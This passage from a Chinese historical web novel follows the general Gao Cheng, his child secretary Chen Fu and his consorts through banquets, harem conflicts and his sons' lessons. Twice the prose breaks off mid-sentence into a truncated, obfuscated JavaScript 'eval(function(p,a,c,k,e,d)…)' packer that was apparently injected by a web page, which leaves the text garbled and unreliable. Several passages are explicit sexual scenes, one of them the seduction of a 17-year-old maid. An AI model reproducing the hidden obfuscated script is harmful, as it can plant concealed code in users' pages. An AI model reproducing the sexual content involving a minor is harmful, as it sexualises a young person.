阿古很快捧剑而归,他曾负责过一段时间陈扶的安全,在李府就常陪她练剑,两人相视一笑,皆随鼓点抽出剑来。 剑光闪烁,衣袂翻飞,一刚一柔,一进一退,配合天衣无缝。陈扶身姿轻盈如燕,剑招却带飒爽;阿古出招凌厉,又每每于惊险处为她托底,引得堂上喝彩不绝。 高澄看得爽快,舞毕,指着阿古道:“你也坐下!赐酒!” 陈扶回到高澄身侧,高澄夹起一箸清笋放她碟中,挑眉笑道:“食神泄秀,印星加身之坤造,果是才华横溢。” 身侧人儿也挑眉应道:“是七杀无分男女唯才是举,方能容坤造之印星发挥其才,食神才有泄秀之地。” 另一席上,杨愔将高澄与陈扶对望而笑之态尽收眼底,低声对高洋道:“那位陈女史,观其年岁未及豆蔻,然动止进退,言谈应对,俨若成人,实非常人之质啊。” 高洋并未看向陈扶,只摩挲着手中酒杯,“其六岁蒙授女史,自幼服侍阿兄近侧。上而地舆、考礼、刑律、农政,下至诗文、经史、剑术、握槊,无一而不通。凡一切奏议要务,参详无不切中阿兄之意,恰合其心之能,无人能出其右。” 杨愔微讶,“太原公竟对此女史了解至此?下官似乎……未曾见公与她有过私谊往来啊。” 高洋嘴角牵起丝莫测弧度,“遵彦,为官者,若连上司身边朝夕相处的‘喉舌’‘心镜’都不留心,不知其能,不察其性……那你能做到吏部郎中,怕也就到头了。” 杨愔心中一凛,垂首默然,陷入深思。 宴席终了,宾客渐散。 高澄起身,环上陈扶的肩,将人半拢在怀中朝外走去。 元玉仪怔怔望着两人相携离去的背影,指尖深深掐入掌心,恐慌如同藤蔓,悄无声息缠满心脏。 青幔牛车静候在外。 陈扶登车,高澄随之一步跨了上去。 车内等候的甘露,见大将军竟跟了上来,不由一怔,下意识看向陈扶:“女郎,这?” 陈扶也微觉讶异,侧首与高澄对视一眼,明了他是要送至李府之意,看回甘露道:“走吧。” 高澄靠着车壁,张着长腿恣意而坐,凤眸氤氲着醺然意态,目光在甘露身上打了个转。 “叫什么?”声音因醉酒更显低沉,带着沙哑,“多大了?” 甘露因着曾为陈扶不平之故,对这位大将军颇有微词。可此刻,只存于话题里的男人,具象化成那张妖颜若玉的脸,狭小的车厢弥漫着他身上的降真香,混着雄烈酒气,侵袭着神魂。 她心头一紧,竟乖顺答道:“奴名甘露,虚度十七年春。” “生得倒有几分清致。”高澄眯着眼,唇边噙着抹风流笑意,“若在唇上施些朱赤,晕染开,必更添颜色。” 甘露何曾听过男子如此品评她,脸颊霎时热烫,也不知脑子在做何想,鬼使神差问道:“大将军看女子,就只看容颜,全不看其内在么?” 问罢,方回悟自己问的缘由,她是帮女郎问的,难道只因那琅琊公主生得艳丽,就比一心为他安危着想的女郎,还合他心么? “谁告诉你,本将军不看内在?若论女子之性情……”高澄醉眼迷离地看向身侧的陈扶,“当有李昌仪之锦心绣口,陈氏之进取容人、知情识趣,王氏之乐天豁达……若能再……如花解语……” 陈扶不由调侃:“再加上琅琊公主之绝异姿容。” 高澄嗤笑一声,靠向她肩头,阖上凤目,“若已是如此性情,便不必苛求姿容……” 牛车在李府门前停下。 陈扶唤了两声不见动静,侧首看去,高澄已然睡着。 掀帘对候在车外的仆役道:“大将军醉了,小心些背去客房安置,莫要惊扰。”又嘱咐甘露,“一会儿打盆温水,稍加照料一下。” 客舍内烛影摇红,甘露拧了温热的帕子,小心翼翼为榻上人擦脸。 指尖刚触及微蹙的眉心,却对上一双骤然睁开的凤目,那眸子醉意未散,深处燃着赤裸的欲念。 不知他方才梦到了什么,身体变化隔着薄被也清晰可辨,甘露手一抖,刚要收回,高澄已握住她手腕,坐了起来。将她拉近,目光在她脸上流转,像是打量一只误入领地的、受惊的小鹿。 “你是稚驹的人,”他低笑,气息拂过她耳畔,“我不强迫你,你可愿意?” 羞耻与一种陌生的悸动交织,甘露颤声道:“奴、奴是正经人家的女儿……”这话与其说是拒绝,不如说是慌乱下的自陈。 高澄唇角勾起抹了然笑意,将人带进怀里,指腹摩挲着她腕间的皮肤,目光锁住她失措的眼眸,“好奴儿……把你头回给我,如何?”唇蹭着她的耳廓,低低诱哄,“别怕……我会很轻……等你湿透了再进,不会疼的。” 理智告诉她该逃离,身体却像被黏在蛛网上的虫儿,只是愣愣看着他的手探进她衣里…… “甘露。” 门外传来陈扶声音。 “料理妥了,便出来,让大将军好生安歇。” 高澄动作一顿,松开了怀中几乎软倒的女子,他似笑非笑,替她整了整被他弄皱的衣襟,朝门外扬扬下巴。 甘露像是骤然从梦中惊醒,几乎是手脚并用地爬下床榻,不敢再看高澄一眼,低头跑走,连房门都忘了带上。 翌日清晨,高澄与陈扶一同去往东柏堂。 高澄去后院换衣,陈扶则至正堂整理文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈扶心下刚松,却听他转向众侍卫道: “自即日起,所有亲卫,全部撤出东柏堂内!轮值守卫,皆于外庭及府墙之外!未经通传,不得跨入二门半步!” 陈扶脑中“嗡”的一声,只觉脑仁生疼。 不是,亲卫全部撤出内院?! 那岂非他日常起居办公之核心区域,几乎成了不设防之地!那、那若兰京率同伙骤然行刺,外庭护卫得不到消息,岂非……岂非要靠她一人之力去阻挡? 这简直是开玩笑! “大将军!”她再顾不得仪态,急声道,“若亲卫全部撤至庭外,万一有刺客潜入内院,他们如何能及时反应?!” 高澄淡淡瞥她一眼,“亲卫训练有素,在外庭布防,一样能守住门户,拦截刺客于外。” 他目光扫过犹在低泣的元玉仪,既是他养着的,决不允许他人再看去分毫。 陈扶张了张嘴,想告诉他,真正的危险来自内部,甚至想直接吼出那句憋在心底的话——万一刺客是厨子呢?是仆役呢?是能轻易接近你的人呢! 可她终是没说。 因为她知道,他一定会说她多虑。 翌日,天光未亮,寝帐内尚是一片昏朦。 高澄醒来,手臂一伸便将元玉仪捞进怀里,指掌探进,揉捏把玩着那柔软,直到元玉仪吃痛,嘤咛出声,才低笑一声松了手,由她起身伺候更衣。 元玉仪为他系着腰带,小心翼翼地问:“大将军……今日午间,是在前头歇,还是回后院来?” 高澄垂眸,勾起她一缕散发,“自然是前头。”目光意有所指地扫过她,“在这儿必要操/你,还歇什么?” 这话让元玉仪脸颊滚烫,心中却因他尚有欲望而生出些许虚浮的安稳。 高澄走后,室内重归寂静。 元玉仪对镜梳理被他弄乱的发丝,忽闻敲门声响起。 应是大将军忘了什么东西去而复返,忙起身开门,“大将……” 晨曦微光中,陈扶静静立在门口,一身殷红襦裙,那张圆润小脸上,没有任何表情,唯有一双黑漆漆的眸子,深不见底,正森森地看着她。 那目光,不像个孩子,倒像……倒像古井里的水鬼,看得元玉仪心头一悚,下意识后退了半步。 不等她邀请,陈扶竟径直迈步进了房中,幽幽地扫视一圈屋内。 元玉仪看着她俨然此间主人的姿态,心头那股不安愈发强烈,“陈女史……有何吩咐么?” 话一出口,连她自己都察觉到了自己的怯懦,明明她才是公主,而陈扶只是奴婢,可自己竟自矮一截。 陈扶转过身,黑眸锁定在她脸上,“有。我要你,搬出东柏堂。” 元玉仪心头巨震,姐姐静仪的话终是应验了——她长大了,知男女之事了,便要开始争宠了!前日午后霸着大将军同榻而眠,晚上将人拐到家中,昨日故意与她作对,保下那冒犯她的亲卫,现在,更是直接要赶她走! 她按捺住心悸,依着姐姐早先教导的,努力让自己声音听起来镇定:“我住在这里,是大将军要我住在这里的。陈女史若有什么不满,去和大将军提便是了。若大将军开口要我搬,我自然立刻便搬。” “你在此处,亲卫便不能入内院护卫。”陈扶好似给孩子讲道理般,慢悠悠说着,“大将军若因此有何闪失,你也会失去依仗,于你有何益处?” 元玉仪想起高澄昨日的话,像是抓住了救命稻草,“大将军昨日不是说,亲卫在外庭一样能守住,不会有危险的。” “你在此住了两年有余,得到了什么?田宅?名分?你唯一握在手中的实利,是公主的食邑。可这,并非因住进东柏堂而得。” “既无实际利好,为何偏要住在此处?再合其审美,日日一处,也终会厌腻。” 元玉仪眼眶瞬间红了,她何尝没有感觉到,大将军待她,不似最初那般炽烈沉迷…… 她强撑道:“你……你当着大将军的面,可不是这么说的……” “我也不想这般说,可惜你只怕这样明言,都看不清。你再住两年,他也不会将你迎入府。” 眼前之人,顶着张人畜无害的童颜,说着最森冷狠绝的话语。 这样的人,她住在这里尚难以抗衡,若搬了出去,岂不是…… 她不敢再想下去,只是咬着唇,用力地摇了摇头。 陈扶向前逼近一步,“你那姐姐,想必教了你不少媚男之术,可惜她不懂,什么才是御人之道。” “她那一套,只会让他觉着,你是为了名利依附于他。若他失了这些,你便会转身离去,存了猜忌,如何肯对你倾囊以待?” “唯有陈姐姐那般,令他深信,她是爱他这个人,而非他的权势,才会被他长择,得他余生庇护。” 陈扶的话像细密的针,扎进她心里,可怕的是,她竟觉其言……有道理,那公主食邑,确是提出住这里之前所得,那陈氏出身歌姬,与自己并无分别,也不及她容色,却可在将军府相夫教子…… “若你主动搬离东柏堂,他会觉得,你想他安全胜过贪恋虚荣。我亦会为你美言,助你入大将军府。若你执意不肯……” 陈扶停顿,给元玉仪留足恐怖的想象空间,才缓缓吐出最后一句:“那我便只能,自己想法子了。” 说完径直便走,裙裾拂过门槛,毫无声息。 元玉仪跌坐榻上,蜷缩起身子,将脸埋进还残留着高澄气息的锦被中,泪水无声地浸湿了绸缎。 26.第26章 高澄下朝登车,回东柏堂的半路,念头一转,对前吩咐一句,转向大将军府。 入府门,径往冯翊公主所居正院而去。 庭阶寂寂,唯有几名值夜奴仆倚着廊柱小寐,被脚步声惊醒,慌忙跪伏。 高澄瞥了几人一眼,在西屋前停步,时辰尚早,天光尚暗,西屋内却已纱灯点点,乃是他的一众孩儿们正受习课业。 他无声步入,但见孝瑜与孝珩并肩而坐,正执卷商讨学问;孝琬与同岁的孝瓘挺直了小身板,摇头晃脑诵着文章;最小的延宗,倒拿着书,脑袋一点一点,已是小鸡啄米般打上了瞌睡。 上前屈指,在那颗圆脑袋上不轻不重弹了个暴栗。 高延宗“哎呦”一声惊醒,茫然四顾,对上了兄兄似笑非笑的眼神,立时坐正。 高澄转向讲案前的博士:“孩子们近来读书如何?” “回大将军,公子们日日皆是卯时入堂,申时方出。入学先拜孔子,再拜师傅。读书时个个正襟危坐,虽天暖亦不摇扇取凉,饭后主动温书背诵,并不贪恋午休。” “如此刻苦,那当学有所成,我该考考他们。” 扫过诸子,问那博士谁念书最好。 博士道:“二公子于经史诗文,最为通达。” 目光依言定在次子,高澄笑问:“阿珩,近日读经史,有何感悟?” 高孝珩从容起身,行礼道:“回禀阿耶,孩儿近日观史,颇有所感。自永嘉之乱,五胡竞逐中原,千岩竞秀,万壑争流,历经石勒建赵,冉闵屠羯,前燕南下,慕容争锋,苻坚霸北,至拓跋建魏,定鼎北疆。天下已分争两百年有余,而今观之,已显大统之势。” 高澄目露赞赏,“洞察大势,殊为不易。然则可从中汲取何等教训?” 高孝珩略一眨眼,答道:“观苻秦之盛极而衰,刘汉之骤兴骤亡,石赵之暴虐失国,慕容燕之内斗不休,可见其弊:江山板荡未安,而庙堂已生怠惰腐化,此取祸之由也。” 小小年纪,竟明悟至此,高澄不由想起五年前,普惠寺方丈为这孩子批的命诗,今观其状,果是‘燮理阴阳参造化’。心中大悦,面转闲适,又问:“我儿既熟读史册,最喜其中哪一人物啊?” “孩儿最敬文明皇太后。” 高澄颇为惊异,“竟是女子?” 高孝珩神色不变,从容阐释:“孩儿品评人物,不曾想其是男是女,只看其人所行之事,所立之功。昔孝文冲龄践祚,冯太后临朝称制,定礼法,继绝扶衰,变旧俗,魏室方强。作均田令,裂土以授黔首;立三长制,编户以实社稷。经天纬地曰文,照临四方曰明,冯太后当得起此二字。” 高澄点头,“承扶社稷,历三朝而摄两帝,诚女中异数也。” 话音落下,却见高孝珩唇角微动,欲言又止,便和颜问道:“我儿似有心事?” 高孝珩整整衣襟,上前一步道:“孩儿近日读书,常感纸上得来,终是过浅。听闻阿耶东柏堂典籍浩瀚,更有诸贤臣论政决机。孩儿……孩儿斗胆,请阿耶允准,许我时常前往东柏堂,观政听学。孩儿愿立阶下,静听默记,绝不扰阿耶清静。” 这不是他第一次提了,然思及元玉仪日常之态,高澄沉吟道:“你且安心在府进学,典籍我会令刘桃枝送来,待加冠成人,再涉足政事不迟。” 高孝珩默了默,用鲜卑语应道:“一切听兄兄安排。” 见他不仅才高,还听话、不忘根本,高澄更觉满意,不愧是他高澄的孩儿。 目光转向其他孩儿,见长子高孝瑜对弟弟受赞由衷喜色,颇有长兄之风,下一个便考问了他,回答虽不及孝珩,但其态度恳切,言“儿资钝,素日学习,唯信‘书读百遍,其义自见’。一遍不通便读十遍,十遍不通便读百遍,读到通晓为止。” 质虽稍粗,性却极通,亦叫高澄欢喜。 轮到高孝琬时,博士含蓄道:“三公子天资颖悟,一点即透,然……性颇刚扬。” 孝琬挺着小胸脯,下巴微扬,接口道:“阿耶,博士教的,我早就自会了!” 高澄素来宠爱此子,反而一笑,“正出嫡子,骄傲些也无妨,只是莫要流入自负便是。” 言罢揉揉偷眼瞧他的延宗脑瓜,笑看孝瓘,“前日你表叔与我言,我家阿肃于弓马一道,却是罕见之才。” “孩儿只恐学艺不精,在表叔面前给兄兄丢人,唯有勤学苦练而已。” 年纪虽小,却如此坚毅谦逊,高澄心中更悦,“文武之道,犹车之双轮,鸟之双翼,未可偏举。过几日兄兄带你们去城外巡猎,也正好瞧瞧我家老四的骑射本事。” 内室中,冯翊公主元仲华正倚在软枕上回笼小憩,忽听得外头传来隐约谈笑,唤来正收拾妆台的婢子,叫她去瞧瞧。 婢子出而复返,忙趋近回禀:“公主,是大将军下朝回府了,正在西屋考问公子们功课呢。” 公主闻言,忙撑着身子坐起,她如今怀着四个月身孕,小腹已隆,婢子急忙上前托住,口中连声道:“公主千万仔细些,慢着点儿。” 另一个婢子也已取过搭在屏风上的外衫,为她披上。 高澄正与阿珩笑言,见她进来,近前扶住,“有身子的人,该多静养才是,怎么出来了?” 公主扶着他的手,柔柔一笑,“世子回来了,妾怎能不来迎候?”目光转向案上展开的书卷,“世子和阿珩在聊什么?这般投契?” “不过闲谈几句竟陵八友,感慨南人颇擅诗道。” 公主顺着他道:“南人善诗,是因南地确实风物殊佳。前日入宫觐见皇兄,出使南国归来的散骑常侍阳斐也在,提及那建康城里,烟雨朦胧,画舫如织,丝竹之声彻夜不绝。还说他们那里的牡丹,花色有百余种……” 这番长他人志气的阔论,听得高澄剑眉微蹙。 不由想起今日告假的那小人儿来。 忆及去岁巡猎,南使曾倨傲言道‘江南水草丰美,山中四季常青,色彩斑斓,不似北地山头,入秋冬便一片黯淡枯索。’他那小女史睫羽微翘,唇角噙笑,当即以诗回敬:“巍巍之太行,雄风非楚襄。莫言花草丽,可试紫骝缰?” 巍峨的太行山,自有雄浑气概,非楚地山水可比,莫只夸南方花草艳丽,可敢试试我们北方骏马的脚力? 一语既出,既驳了对方,又扬了北地威仪,问得那南使面色僵硬,半晌无言。 又想起她在柔然使者面前,那句让他通身舒畅的“观舞知国势,岂独在词章!” 相较之下,虽也读书识字,元仲华却这般不得要领,每每与之聊天,皆如隔靴搔痒,永远搔不到痒处,就更谈不上什么如花解语了。 念头一起,画面越想越多,直到元仲华一声“世子?”忽又醒过神,一个为臣,一个为妻,见元仲华而频频想起稚驹,似有不妥,便挥散了思绪。 既已问完孩子们功课,高澄便与公主一同回了正室。 两人挨坐榻上,半月未回,高澄细瞧起公主来,见她因孕双颊泛潮,唇裂起皮,额角鬓边还冒了几颗小痘,肌肤也因浮肿而油光发亮。 不由又想起元玉仪那莹润如玉的肌肤,以及那不盈一握、窈窕生姿的腰身,一个蒙尘失色,一个却是新汲鲜妍。 按下心绪,开口问道:“公主所用保胎之药方食饮,都是如何?” 公主未察觉那凤目里的挑剔幽光,只当夫君关心她身体,连忙如数家珍般一一禀报:“有炖煮的羊肉汤,加了鹿茸片,还有医署开的方子,高丽红参、秦州当归、黄芪、熟地……” 她絮絮说着,还未报完,高澄已不耐打断:“便是臣这不通医理之人,也听得出这药过于峻猛。身体是自己的,公主需自己有些判断,怎能太医开什么,便用什么?” 公主察觉他神色不舒,忙低声应道:“是,妾知道了。” 目光从她脸上移开,环顾室内。 满目皆是错彩镂金,朱漆螺钿,架上摆满金玉珍玩,煌煌耀目,一股市井富户浊气,看得他眼烦心躁,便欲起身告辞。 公主却忽然开口,语气温顺体贴:“世子,妾思忖着,那位琅琊公主……侍奉也合世子心意,总养在东柏堂里,恐惹非议。不若……世子便将她也收进府中来吧?既也受了封号,妾便将正院分她一半,却也使得,总归是个安置。” 高澄闻言,目光又回到她脸上,观其神色,倒没有含酸带讽之意,忽又想起稚驹前日那句‘真正强者,胸纳四海,功昭日月,何须借枕边人之颜色,来证自身之英伟?’ 心念一转,罢了。 至少元仲华老实,不曾私下交结元氏,亦不曾专擅帷帐、干涉外事,诸事更不欺瞒于他,更难得的是鞠育众子,备极恩勤,对所有孩子都一视同仁,施以慈爱。 也算够得上一个‘贤’字。 如此一想,复又安坐,伸手将公主揽进怀中,执起她的手,耐着性子哄道: “公主血脉尊贵,岂是一个空头封号便能等同?元玉仪再容色姝丽,也只堪衾枕之欢罢了,安能登堂入室,与公主并居一院?” 轻拍公主背,语气愈发温和,“公主如今最要紧的,是安心静养,待为臣诞下麟儿,臣彼时自当回府,相伴公主左右。” 这番半是抬她、半是许愿未来的话语,果将公主哄得十分受用。 她脸上泛起憨喜红晕,倚在他怀中,喃喃问道:“那……世子今晚,可会归来?” 高澄略一思量,笑道:“公主既想臣陪着,臣今晚便回来。” 待从元仲华处出来,天光已大亮。 高澄穿过游廊,心头滞闷犹未散去,略一起念,未按常例先去王氏处,折转向北,沿竹篱下坡,穿过葱郁绿荫,步入一院中。 但见庭中修竹梧桐,藤萝甚古,东屋三楹,皆以玻璃代纸窗,纳花月而拒风露,湛然空明。 李昌仪一身英华,于假山前临池而坐,并未留意身后动静,正专注于手下盆景。身旁石几,散落一卷书册,春风撩动书页,别有一番闲趣。 高澄悄步至她身后,附耳低问:“在作何雅事?” 李昌仪闻声,肩头未动,亦无惊色,只侧过脸瞥他一眼,似笑非笑道:“大将军府内的妾氏,可以作何?” 高澄在她身侧坐下,笑语调笑,“你与她们不同,所做之事,自也不同。” 李昌仪手下不停,随口应道:“每日不过看书临字,描鸾刺凤、斗草簪花、剪枝栽景,或是与府中姊妹、奴婢们一处,下几盘棋,握几回槊,消磨光阴罢了。” 高澄忽略她话语里的抱怨之意,搂腰蹭面道:“爱妾既摆弄此等雅物,可曾为它题名?”清流出身之女,爱物总会取个名字,寄托心志。 提及此,李昌仪眼底才掠过丝真切笑意,“它叫‘曲影’。曲枝无鸟迹,疏影映寒塘。” 高澄笑笑,接口应和,“飞英覆曲水,狂歌逐流长。” 李昌仪挑眉看他,“倒是合得好极,对仗工整,意趣开阔,尽显不甘沉寂的奔流之势。”看他玄袍玉带,身姿英挺,那玉面乍一眼俊美无俠,细瞧轮廓凌厉,眉宇强势,仿佛不论何时何地,何种境遇,皆志在必得。 便又添句调侃,“大将军偶来两句,总是这般……锋芒毕现。” “男人立于天地,不该如此?” 李昌仪轻笑一声,两人又就着盆景、诗书聊了几句,听她言之有物,高澄一时起兴,便凑其颈间,伸臂欲揽入怀。 不料其竟无半分羞怯,反就他手旋身一坐,手臂倒先揽住了他脖颈。 高澄被这反客为主弄得一怔。 怀中人遒美妍丽,温热弹手,然这放达之态,却让心头那点旖旎趣味骤减。 当初纳她之时,原以为需费一番心思雕琢,谁料想,她竟全无壁垒,第二日便悠然居之。 乃至床笫之间,亦是不大和谐。 身段容貌原是极合他眼缘的,可偏偏情态比男子都从容,全不在意他所感,只顾自身酣畅,仿佛他只是取悦其身的工具一般。 男人的癖性,有时便是如此。 越是挣扎抗拒,哀哀推诿,越是得趣,如元玉仪般,被他稍稍撩拨便浑身皆颤,眼泛泪光,欲拒还迎,欲迎还拒,方能激起他掠夺征伐之快。 这么想着,身上那点热度便也冷了几分,目光扫过那盆‘曲影’,提点道:“盆景之趣味,不在其形,而在修剪之乐。诗书养就的心肠,豁达些无妨,然若过于豪放,便也失了意趣。” 李昌仪听得出他是何意思,却故作懵懂,“妾身愚钝,不解大将军深意,还望……详细教导。” 高澄见她装傻,便也懒得再绕弯子,索性挑明了说:“昌仪该学学王氏,懂得撒娇,知晓脸红,不论赏她些什么,皆会欢喜扑入怀中,道句‘跟着大将军真好’。” “要么,便学学陈氏,可堪调教,从青涩至熟稔,亦有一番养成之趣。” “或如稚……”字头刚起,便觉不妥,掐断道,“昌仪以为如何?” 李昌仪轻轻一嗤,眸带狡黠,“大将军想要妾身知情识趣,何不先学学待稚驹般,也凡事与我商榷,听我之言。若得如此,妾身这副诗书养就的心肠,自然便有用武之地,又何须大将军在此烦恼意趣之缺?” 回回张口,都是这般伶牙俐齿,寸步不让,丝毫吃不得亏。 因着她点明,高澄便任由脑中闪过陈扶,同是文武双慧,那个春风化雨、如花解语,再看眼前之人,冷眼见人笑一面,只觉毒从暗中来。 那点本就被冲淡的兴致霎时烟消云散,精神之物也随之萎顿。 李昌仪察觉到身下变化,勾起戏谑笑意,拍了拍他尚还拥着她的手臂,“既然大将军心有余而力不逮,那便松开吧,这般坐着,也不舒坦。” 听在高澄耳中,竟似嘲讽他‘不中用’。 高澄面色一沉,心底不悦终于浮上眼眸,他一把推开李昌仪,霍然起身,居高临下地睥睨着整理衣襟之人,开口冷然如冰: “跟了我之后,较之你从前在高慎处,日子如何?” 李昌仪想着,抛开受困于一方庭院、不得施展外,原也可以,抬眸瞥见他神色,不由怔住。 话未及出口,已听高澄冷冷续道: “知你李氏世代高门,挥霍惯了,收缩不回来。时鲜瓜果、贡品珍玩,孤本典籍,哪一样短了你?主动提拔你一门兄弟子侄,难道,是为了听你消遣本世子的?” 他微微俯身,那股久居上位的压迫扑面而来,“既花了大把金银,抬举了你李氏满门,却买不到应有侍奉,本世子何必再做这亏本买卖?” 说罢甩袍拂袖,出了院子。 李昌仪心头一沉,悔意上浮。 她并非不知高澄性情,只是方才一时意气,终究是过了。 对着那盆‘曲影’呆坐半晌,正思忖着该如何弥补这番冲突,却听得婢女通传,陈女史来了。 李昌仪敛去愁态,笑看步入庭中之人,“真是稀客呀,今日是吹了什么风,把小阿扶吹到我这里来了?” 陈扶近前挨着她坐下,亲近道:“方才拜见过公主,问了安,就来姐姐这儿了。” 李昌仪何等剔透,纤指拈起石几上一片落花,笑问:“说罢,所为何来呀?” 陈扶也不多绕弯子,黑漆漆眸子盯看着她,直言来意:“阿扶想请姐姐帮个忙。让大将军的心,收回到府中来,莫要再流连于东柏堂,耽于元氏温柔乡里了。” 李昌仪闻言,眉梢微挑,倒也没追问她因何与那琅琊公主结了仇怨,反而转问:“这般重托,怎得不去寻最疼你的陈氏帮忙?她给你做了那许多精巧绣样、时新吃食,一匣匣往东柏堂送,去求她帮忙,必会应你。” “陈姐姐不必阿扶去说,自会尽心侍奉大将军,公主、宋氏、王氏也是一般道理,如今……既都未能让大将军常驻府中,那阿扶求亦徒劳。” 李昌仪“噗嗤”一笑,眼波流转,带上几分佯装的嗔意,“原是如此。我还当是你心里头,与我最好呢?却原来是她们不行了,才轮到我。” 陈扶忙弯起眉眼,露出个极甜的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陈扶抱着李昌仪回赠的几卷藏书,低头疾步,心中思忖着方才商议之事,冷不防在廊角转弯处,撞入一个清冽怀抱。 书卷“哗啦” 散落一地。 她踉跄一下,手腕已被一微凉手掌稳稳托住,止了跌势。 “小心。” 一道带笑的声音,音色如玉,陈扶仓促抬头,正对上微微滑动的喉间软骨,在少年颈间划出一道尚还青涩、隐含生命力的弧度。 她已站稳了好一会儿,腕间那分明的指节才缓缓松开,动作不疾不徐,仿佛那片刻停留,仅仅是出于世家公子恪守的礼节。 “臣女失仪,冲撞贵人了。” “无妨。”他目光扫过蹲身捡拾古书的净瓶,随之优雅俯身,边帮忙将书卷一一拾起,边浅笑道,“只是女史步履如此匆忙,若下次再撞上旁人,怕是真要摔着了。” 陈扶正仔细打量他。 少年轻衫款带,一身月白,衬着那张脸如玉似雪,凤目狭长,睫羽低垂,俯身更显鼻梁高挺如峰。看着不过八九岁年纪,眉宇却已沉淀出从容之态。 “阿珩?”她带着几分不确定,轻声唤道。 他直起身,将整理好的书卷递还给净瓶,而后才将目光完全投向她。 那目光沉甸甸落在她脸上,带着笑意,却并未透到眼底里去。那眸底,似有千年万载荒凉寂寥,像冬夜里被雪光映照着的残月,看得人心里无端一沉。 “姐姐认得我?” “当然认得,”陈扶见他回应,不由漾开笑意,“当年在你弟弟的洗三礼上,我们和你三叔一起捉迷藏,记得么?后来我日日来此,还教你翻花绳,你总学不会,急得鼻尖都冒汗了……” 提及往事,她语带怀念,却见高孝珩唇边笑意反淡了一分,轻轻“哦”了一声。 “那为何后来,失联了呢?” 陈扶也“哦”了一声,半解释半感慨道:“那时我蒙大将军厚待,授了女史之职。之后琐务缠身,竟再难得空暇,来府里玩耍了。” 高孝珩静静听着,等她再无他言,方垂目道:“想不到女史之司务,竟会这般忙碌,”声音如玉清润,却也如玉冰凉,“连偶去会见总角好友,都顾不得。” 陈扶微微一怔,隐约察觉到他语气中那丝若有若无的怨怼,放缓声音,诚恳道:“此事确是姐姐之过,疏忽了旧谊,给阿珩赔个不是。” 良久,高孝珩方才开口,“女史不必道歉。”他顿了顿,抬起眼,“我原也……早忘了。” 他吟吟望着她,眼角眉梢都软软弯着,像初春新焙的茶雾,可若她肯细瞧,便能从那片朦胧水汽底下,窥见一簇幽微火光,细细小小,却滚烫灼人。 然陈扶并未细看。 她只当是小孩子记性不好,无谓笑了笑,颔首一礼, “那便再重新认识一回,臣女陈扶,小字稚驹,忝为东柏堂女史,今日得见二公子,甚幸。” 眼前人屈身回礼。 “高孝珩,幸会。” 得到回应,陈扶不再多留,冲他笑笑,沿着回廊离去。 一双凤目回转,那目光不再含笑,蜘蛛吐出的丝般,亮晶晶,黏稠稠,一丝,一丝,将那倩影无声无息收紧,缠绕。 高澄踏夜回府,廊下烛灯点点,将柱影拉得很长,与摇曳树影交织,在地上铺开一片迷离。 正想着今稚驹告假,他令秘书丞佐手,却不甚得用,要不要将其调离,忽瞥见前方不远处,一道清绝身影正沿着回廊,向北而去。那身影裹在一袭素净罗裙里,宛如一抹朦胧月华,又似一道捉不住的轻烟。 弟妇? 高澄心下微异。 这个时辰,她独自一人来府,又是往北,想是去找她姑姑李昌仪。 脚步不自主被那身影牵引,转了方向。 他并未出声,跟得也不近,目光却如同最细的工笔,借着灯火月色,勾勒描摹。 她似乎察觉到了身后的注视,蓦然停步,回首。 四目相对。 廊下光线恰好落在她脸上,照出一张与李祖娥酷似的容颜,但高澄还是认出了,这是李昌仪。 她本就与李祖娥长得六七分相似,只因素日风格迥异,才判若两人,而眼前的她,与他平日所见的李昌仪全然不同,清腮素唇,皓齿含鲜,烛影摇红间,清澈眼眸茫然无辜。 像,太像了。 看他走近,她垂下眼睑,长睫蝶颤,唤道: “阿兄。” 只消一声‘阿兄’,高澄立时起了反应。 那点不可告人的隐秘之癖,被彻底勾了出来。弟妇之美,清艳绝伦,如风如月,似狐似仙,却偏偏只能远观——他高澄便是再风流,终不是毫无底线的禽兽,对真的如何,他做不出。 但和这个玩一场禁忌游戏,却有何不可? 他压下翻腾的气血,逼近她。 嗅着她发间淡雅冷香,压低声音,哑声探问:“弟妹何以深夜来我府内?” 一模一样的眼睛里,晕起一模一样的傲娇之态,她微蹙着眉,不悦道:“阿兄抢了妾的东西,妾来要回,不该么?” 高澄忍不住了,刚一上手,便听她喉间逸出细弱一声,羞愤推拒,却又无力抗衡。高澄脑中那根弦彻底崩断,他猛地推门进屋,将人墙上一抵。 甫一入,激得他喉间溢出一声满足喟叹。 “呵……何以这般紧?莫非……是我那弟弟,不能满足你?” 怀中人闻言,恼羞哽咽,“阿兄政事上龙骧虎步,此事自也更……雄风些……” 含着愤懑,举起并无力道的粉拳捶打他,“可……可便是我夫君他……千般不如你,原也是我心爱之人,怎容得阿兄这般……这般欺辱……” 此言一出,满室春起,雨笼海棠,摇摇似雪,勾得高澄魂飞天外。 不知多久,方雨撒暂歇。 眼前人香汗淋淋,云鬓散乱,却未卸弟妇之态,“那步摇……原是一对才好看,阿兄究竟要如何,才肯将要走那支还我?” 高澄霎时又起,将人横抱,轻置锦被之中,附在她耳边, “再来一回,表现得好……阿兄明儿就还你。” 27.第27章 城南郊外,漳水之滨,人马喧嚣。 先行的苍头部曲在选定区域扎下营盘,数座锦帐已然立起,周边星罗棋布着小帐篷与拴马桩。几堆篝火已点燃,青烟袅袅而起。 不远处的猎场,仪仗森严,旌旗猎猎作响。 诸王与将领皆着窄袖胡服,外罩各色锦缎半臂,坐下一水的代北、河西良驹,骝、栗、青、白各色挨挨挤挤,鞍辔鎏金,宝玉垂鞧。 中心处,大将军高澄一身玄色缺骻袍,外罩金绣虎纹半臂,正勒定他坐下白龙驹,那马又称赛龙雀、照夜玉狮子,通体雪白无杂,周身散银,颈后长鬃如瀑,昂首嘶鸣,四蹄腾骧。 高澄攥着缰绳,通身雄视天下之气,与在东柏堂把玩玉如意时的慵懒判若两人。 他与段韶目光一碰,右臂抬起,两指并拢向前一挥,做了个“压上合围”的手势。 霎时号角长鸣,声震四野。 